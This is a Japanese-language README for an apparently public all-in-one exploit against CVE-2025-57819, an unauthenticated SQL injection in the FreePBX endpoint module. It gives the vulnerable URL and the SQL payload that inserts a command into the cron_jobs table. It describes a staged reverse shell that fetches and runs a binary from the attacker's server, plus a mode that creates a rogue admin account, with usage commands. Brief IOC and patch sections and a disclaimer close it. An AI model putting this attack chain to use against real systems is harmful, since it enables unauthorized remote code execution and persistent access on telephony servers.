CVE-2025-57819 — FreePBX 認証前SQLiからRCEへ

CVE-2025-57819 のオールインワンエクスプロイトです。FreePBXのendpointモジュールにおける認証不要のSQLインジェクションで、 cronジョブインジェクションを介してリモートコード実行につながります。

• CVSS: 9.8（Critical） — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CISA KEV: 2025年8月29日追加
• 影響を受けるバージョン: endpointモジュール < 15.0.66 / < 16.0.89 / < 17.0.3 を搭載した Sangoma FreePBX 15、16、17
• 修正バージョン: endpoint 15.0.66、16.0.89、17.0.3

脆弱性の概要

FreePBXは、認証を必要とせずに admin/ajax.php?module=FreePBX\modules\endpoint\ajax エンドポイントを公開しています（CWE-288）。 brand パラメータはサニタイズなしでSQLクエリに直接渡されるため（CWE-89）、攻撃者は asterisk データベースに任意のSQL文を注入できます。

攻撃チェーン

[Unauthenticated HTTP request]
        │
        ▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
        │
        ▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
        │
        ▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
        │
        ▼
Remote Code Execution

エクスプロイトの機能

このエクスプロイトは次の3つのモードをサポートしています：

1. ステージ型リバースシェル（デフォルト）

1. msfvenom を使用して linux/x64/shell_reverse_tcp バイナリを生成します
2. バイナリを配信するHTTPサーバーを起動します
3. シェル用のTCPリスナーを起動します
4. バイナリをダウンロードして実行するcronジョブをSQLi経由で注入します
5. cronが発火すると、インタラクティブシェルが得られます
6. 終了時に注入したcronジョブをクリーンアップします

python3 cve_2025_57819_aio.py <target_url> <lhost> <lport>

例：

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452

リバースシェルにはポート4452、HTTPステージサーバーにはポート4453を使用します。

2. 管理者ユーザーの作成（--create-user）

SQLiを介して新しいFreePBX管理者アカウントを作成します。リバースシェル、リーチバック、バイナリは一切不要です。

python3 cve_2025_57819_aio.py http://freepbx.internal --create-user

3. カスタムペイロード（--payload <path>）

msfvenomでバイナリを生成する代わりに、独自のELFバイナリを使用します。

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
    --payload /path/to/custom_shell.elf

要件

• Python 3.6+
• requests ライブラリ（pip install requests）
• ステージモード用: Metasploit（msfvenom）、または --payload によるカスタムペイロード
• --create-user モード用: Python + requests 以外は不要

動作の仕組み

SQLインジェクションベクター

脆弱なエンドポイントは次のとおりです：

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>

brand パラメータはサニタイズなしでSQL INSERTに連結されます。 エクスプロイトはインジェクションを次のように構築します：

';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --

末尾の -- は、元のクエリの残りの部分をコメントアウトします。

Cronの実行

FreePBXはAsteriskのcronサブシステムを使用します。cronジョブは毎分チェックされます。 挿入されたジョブのスケジュール（* * * * *）が一致すると、コマンドは asterisk システムユーザーとして実行されます。

クリーンアップ

セッション終了後（またはタイムアウト時）、エクスプロイトはDELETE SQLiを送信して、注入されたcronジョブを cron_jobs から削除します。

侵害の指標（IOC）

• ランダムなモジュール名/ジョブ名が含まれる asterisk.cron_jobs 内の予期しないエントリ
• FreePBXサーバーから外部IPアドレスの高ポートへの送信HTTPリクエスト
• asterisk ユーザーからのリバースシェル接続
• ampusers 内のランダムな新しい管理者アカウント（--create-user モードの場合）

緩和策

endpointモジュールを修正済みバージョンに更新してください：

• 15: >= 15.0.66
• 16: >= 16.0.89
• 17: >= 17.0.3

参考情報

• NVD — CVE-2025-57819
• GitHub Security Advisory — GHSA-m42g-xg4c-5f3h
• CISA既知の悪用済み脆弱性
• watchTowr Labs
• FreePBXコミュニティ勧告

免責事項

本ソフトウェアは、教育目的および認可されたセキュリティテスト目的のみで提供されます。 所有していないシステム、またはテストする明示的な許可を得ていないシステムへの不正使用は違法です。 作者は誤用について一切責任を負いません。